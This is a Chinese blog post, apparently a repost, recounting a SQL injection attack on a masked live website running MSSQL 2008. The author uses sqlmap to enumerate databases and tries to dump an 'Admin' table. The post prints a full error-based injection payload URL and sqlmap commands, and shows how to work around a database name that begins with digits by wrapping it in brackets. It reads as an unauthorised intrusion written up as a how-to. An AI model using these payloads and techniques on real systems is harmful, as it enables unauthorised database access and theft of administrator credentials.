sqlmap注入檢測經驗0x01

某日偶遇一SQLInjection Point,MSSQL 2008,已開啓顯錯模式。
立刻扔進SQLMap跑,一路順暢,居然仍是SA的權限,心想運氣真好,不管如何都拿定了。
數據庫,表,列都列出來了,可是上–dump參數就死活跑不出來。
報錯 「unable to retrieve the number of entries for table ‘Admin’ in database ‘2012_xxxx’」——x是馬賽克哈:)
心想應該很容易搞定,遂查找手工注入方法,測試無果。
仍是回到SQLMap,-h查看幫助,發現-v 參數能夠指定輸出詳細度,開到-v 3,發現顯示了payload,一不作二不休,直接開到-v 5,發現提供了整個http請求,怪不得報錯,原來都是返回500,用firefox打開完整payload,說是語法錯誤。sql

Xhttp://www.xxxx.cn/xxx/detail.aspx?id=218%20AND%204416%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28115%29%2BCHAR%28119%29%2BCHAR%28100%29%2BCHAR%28113%29%2B%28SELECT%20ISNULL%28CAST%28COUNT%28*%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20%222012_xxxx%22..syscolumns%2C2012_xxxx..sysobjects%20WHERE%202012_xxxx..syscolumns.id%3D2012_xxxx..sysobjects.id%20AND%202012_xxxx..sysobjects.name%3DCHAR%2884%29%2BCHAR%2866%29%2BCHAR%2895%29%2BCHAR%2865%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28110%29%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28122%29%2BCHAR%28104%29%2BCHAR%28113%29%29%29

顯然是2012的問題,也就是應該是錯把庫名中的數字錯當成參數了數據庫

在URL的庫名加上雙引號包裹,果真就能夠爆出數據了。瀏覽器

問題又來了,要我手工爆數據我可搞不定,仍是要回到SQLMap啊,意思是要想辦法把庫名包裹起來,不讓系統把它解析成一個參數測試

XTEST1: ./sqlmap.py -u http://www.xxxx.cn/xxxx/detail.aspx?id=218 –dump -D」‘2012_xxxx」 -T’Admin’

此次好一點了,仍是報錯unable to retrieve column names for table ‘Admin’ in database ‘」2012_xxxx」‘,意思是有返回了,可是庫名不對。spa

XTEST12 ./sqlmap.py -u http://www.xxxx.cn/broadband/detail.aspx?id=218  –dump -D」[2012_xxxx]」 -T’Admin’

我也不記得哪來的靈機一動,改用中括號包裹,果真就成功了,dump出整個表了。firefox

XCONCLUSION:在使用SQLMap時能夠使用-v參數指定輸出詳細度,而後直接用瀏覽器查看payload,肯定語法錯誤點後想辦法改進。在遇到系統誤判庫名錶名是可用中括號包裹名字。
相關文章
相關標籤/搜索